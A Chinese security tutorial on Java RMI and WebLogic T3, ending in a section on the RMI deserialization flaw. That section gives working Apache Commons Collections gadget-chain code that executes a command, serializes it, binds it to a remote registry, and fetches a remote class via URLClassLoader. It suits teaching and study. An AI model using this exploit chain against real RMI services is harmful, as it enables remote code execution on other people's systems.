安全攻击原理详解(一) -- RMI

1. RMI

1.1 JAVA RMI

1.1.1 基本概念

RMI（Remote Method Invocation，远程方法调用）。远程方法调用是分布式编程中的一个基本思想，实现远程方法调用的技术有CORBA、WebService等（这两种独立于编程语言）。RMI则是专门为JAVA设计，依赖JRMP通讯协议。
RMI可以使我们引用远程主机上的对象，将JAVA对象作为参数传递，而这些对象要可以被序列化。就像C语言中有RPC（remote procedure calls ）使远程主机上执行C函数并返回结果。可以被远程调用的对象必须实现java.rmi.Remote接口，其实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类，则需要手工初始化远程对象，在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法

import java.rmi.*;

public interface RemoteObject extends Remote { 
    public Widget doSomething( ) throws RemoteException; 
    public Widget doSomethingElse( ) throws RemoteException; 
}

不继承UnicastRemoteObject类的DEMO

public class HelloImpl implements IHello {//IHello是客户端和服务端公用接口
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    @Override
    public String sayHello(String name) {//HelloImpl是一个服务端远程对象，提供了一个sayHello方法供远程调用。
        System.out.println(name);
        return name;
    }
}

1.1.2 RMI远程调用过程

RMI对于远程对象是将其Stub（类似引用/代理，包含远程对象的定位信息，如Socket端口、服务端主机地址等）传递。客户端可以像调用本地方法一样通过Stub调用远程方法。

客户端发起请求，请求转交至RMI客户端的stub类，stub类将请求的接口、方法、参数等信息进行序列化，然后基于tcp/ip将序列化后的流传输至服务器端，转至skeleton类，该类将请求的信息反序列化后调用实际的类进行处理，然后再将处理结果返回给skeleton类，skeleton类将结果序列化，通过tcp/ip将流传送给客户端的stub，stub接收到流后将其反序列化，再将反序列化后的Java Object返回给调用者。

（1）Stub获取方式
Stub的获取方式有很多，常见的方法是调用某个远程服务上的方法，向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub，所以这里有个死循环问题。JDK提供了一个RMI注册表（RMIRegistry）来解决这个问题。RMIRegistry也是一个远程对象，默认监听在1099端口上，可以使用代码启动RMIRegistry，也可以使用rmiregistry命令。要注册远程对象，需要RMI URL和一个远程对象的引用。

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工创建RMI注册服务
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理，从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象，然后客户端向RMI注册表查询某个远程对象名称，来获取该远程对象的Stub。
（2）远程调用逻辑

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");

（3）动态加载类
RMI核心特点之一就是动态加载类，如果当前JVM中没有某个类的定义，它可以从远程URL去下载这个类的class，java.rmi.server.codebase属性值表示一个或多个URL位置，可以从中下载本地找不到的类，相当于一个代码库。动态加载的对象class文件可以使用Web服务的方式（如http://、ftp://、file://）进行托管。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端，客户端通过HTTP请求下载这些类。

无论是客户端还是服务端要远程加载类，都需要满足以下条件：
a.由于Java SecurityManager的限制，默认是不允许远程加载的，如果需要进行远程加载类，需要安装RMISecurityManager并且配置java.security.policy，这在后面的利用中可以看到。
b.属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。

（4）JAVA RMI Demo

//接口
public interface Hello extends Remote {
    public String echo(String message) throws RemoteException;
}
//接口类实现
public class HelloImpl implements Hello {
    @Override
    public String echo(String message) throws RemoteException {
        if ("quit".equalsIgnoreCase(message.toString())) {
            System.out.println("Server will be shutdown!");
            System.exit(0);
        }
        System.out.println("Message from client: " + message);
        return "Server response:" + message;
    }
}

//server端
public class Server {
    public static void main(String[] args) throws Exception {
        String name = "hello";
        Hello hello = new HelloImpl();
        // 生成Stub
        UnicastRemoteObject.exportObject(hello, 1199);
        /*
        设置java.rmi.server.codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        如果需要使用RMI的动态加载功能，需要开启RMISecurityManager，并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
         */
        // 创建本机 1099 端口上的RMI registry
        Registry registry = LocateRegistry.createRegistry(1199);
        //如果registry已存在
        Registry reg = LocateRegistry.getRegistry();
        // 对象绑定到注册表中
        registry.rebind(name, hello);
    }
}

//client端
public class Client {
    public static void main(String[] args) throws Exception {
        // 获取远程主机上的注册表
        Registry registry = LocateRegistry.getRegistry("localhost", 1199);
        String name = "hello";
        // 获取远程对象
        Hello hello = (Hello) registry.lookup(name);
        while (true) {
            Scanner sc = new Scanner(System.in);
            String message = sc.next();
            // 调用远程方法
            hello.echo(message);
            if (message.equals("quit")) {
                break;
            }
        }
    }
}

1.2 JAVA RMI与Weblogic RMI

RMI是基于JRMP协议的，而Weblogic RMI是基于T3协议（也有基于CORBA的IIOP协议）。WebLogic RMI是WebLogic对Java RMI的实现，它们之间的不同在于（1）WebLogic的字节码生成功能会自动生成服务端的字节码到内存。不再生成Skeleton骨架对象，也不需要使用UnicastRemoteObject对象（2）在WebLogic RMI 客户端中，字节码生成功能会自动为客户端生成代理对象，因此Stub也不再需要。
T3传输协议是WebLogic的自有协议，它有如下特点：（1）服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。（2）通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。

1.2.1 Weblogic RMI Demo

和RMI类似，先创建服务端对象接口和实现类

public interface IHello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
    public String sayHello() {
        return "Hello Remote World!!";
    }
}

上文提到，服务端不再需要Skeleton对象和UnicastRemoteObject对象，服务端代码如黄框所示。

客户端中也不再需要stub

1.2.2 Weblogic T3 协议

RMI的Client与Service交互采用JRMP协议，而Weblogic RMI采用T3协议

WebLogic RMI调用时T3协议握手后的数据包，包含不止一个序列化魔术头（0xac 0xed 0x00 0x05），每个序列化数据包前面都有相同的二进制串（0xfe 0x01 0x00 0x00），每个数据包上面都包含了一个T3协议头，前4个字节正好对应着数据包长度

1.3 RMI反序列化漏洞

RMI使用反序列化机制来传输Remote对象，那么如果是个恶意的对象，在服务器端进行反序列化时便会触发反序列化漏洞。如果此时服务端存在Apache Commons Collections这种库，就会导致远程命令执行。即Runtime.getRuntime().exec(“calc”)等语句。
该库中含有一个接口类叫做Tranesformer，其实现类有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三个可以在反序列化攻击中进行利用，其本身功能及关键代码如下

//InvokerTransformer构造函数接受三个参数，并通过反射执行一个对象的任意方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
         Class cls = input.getClass();
         Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
         return method.invoke(input, this.iArgs);
    }
//ConstantTransformer构造函数接受一个参数，并返回传入的参数
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
//ChainedTransformer构造函数接受一个Transformer类型的数组，并返回传入数组的每一个成员的Transformer方法
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

将上述函数组合起来构造远程命令执行链

Transformer[] transformers_exec = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');

那么接下来的问题就是，真实环境中如何触发ChainedTransformer.transform，有两个类调用了transform方法，LazyMap和TransformedMap。TransformedMap中的调用流程为setValue ==> checkSetValue ==> valueTransformer.transform(value)，所以如果用TransformedMap调用transform方法，需要生成一个TransformedMap然后修改Map中的value值即可触发，上述执行链添加如下部分

Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

如果用LazyMap调用transform方法，调用流程为get==>factory.transform(key)，但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法，所用的类为AnnotationInvocationHandler，该类是JAVA运行库中的一个类，这个类有一个成员变量memberValues是Map类型，并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数，完整代码如下

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();//创建一个含有Payload的恶意map
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法
        ctor.setAccessible(true); // 设置构造方法的访问权限
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 触发代码执行
        Object newObj = ois.readObject();
        ois.close();

在RMI中利用，即在反序列化基础上，加入如下代码

InvocationHandler h = (InvocationHandler) instance;// 实例化AnnotationInvocationHandler
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                h));
        try{
            Registry registry = LocateRegistry.getRegistry(port);
            registry.rebind("hello", r); // r is remote obj
        }
        catch (Throwable e) {
            e.printStackTrace();
        }

另外对于RMI服务攻击，可以使用URLClassLoader方法回显。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");